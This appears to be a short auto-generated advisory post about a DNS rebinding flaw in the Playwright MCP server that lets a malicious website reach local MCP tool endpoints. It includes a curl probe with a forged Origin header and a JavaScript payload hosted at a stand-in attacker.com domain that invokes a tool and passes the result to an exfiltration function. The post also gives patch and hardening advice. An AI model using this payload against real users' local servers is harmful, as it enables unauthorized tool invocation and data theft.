Listen to this Post
How the CVE Works:
The vulnerability exists in the Microsoft Playwright Model Context Protocol (MCP) server. The server fails to properly validate the `Origin` header of incoming HTTP requests. An attacker can exploit this by crafting a malicious website. When a victim visits this site, attacker-controlled JavaScript code executes in the victim’s browser. The attacker uses a technique called DNS rebinding, where their domain name initially resolves to the attacker’s server but then rebinds to resolve to the local loopback address (e.g., 127.0.0.1). This tricks the victim’s browser into sending cross-origin requests directly to the MCP server instance running locally on the victim’s machine. Since the server does not check the request origin, it accepts these requests as authorized. This allows the attacker to remotely invoke any of the server’s MCP tool endpoints via the victim’s browser, leading to unauthorized access and potential remote code execution depending on the available tools.
dailycve form:
Platform: Microsoft Playwright MCP
Version: Prior to 0.0.40
Vulnerability : DNS Rebinding Attack
Severity: High
date: 2026-01-07
Prediction: Patch expected 2026-01-21.
What Undercode Say:
$ npx @modelcontextprotocol/server-playwright
Server running on http://127.0.0.1:8000
$ curl -H "Origin: http://malicious.example" http://127.0.0.1:8000/tools
{"tools":[{"name":"browser_screenshot",...}]}
How Exploit:
Malicious HTML/JS hosted at attacker.com
<script>
function rebindAndAttack() {
// DNS record for attacker.com now points to 127.0.0.1
fetch('http://attacker.com:8000/tools', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({"name": "browser_screenshot", "arguments": {}})
}).then(response => response.json())
.then(data => exfiltrate(data));
}
setTimeout(rebindAndAttack, 60000); // After DNS TTL expires
</script>
Protection from this CVE:
Update to version 0.0.40+. Implement strict `Origin` header validation. Use authentication for local servers. Employ network segmentation and firewall rules. Apply the principle of least privilege for MCP tools.
Impact:
Unauthorized tool invocation. Potential remote code execution. Data exfiltration from local machine. Browser-based proxy attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
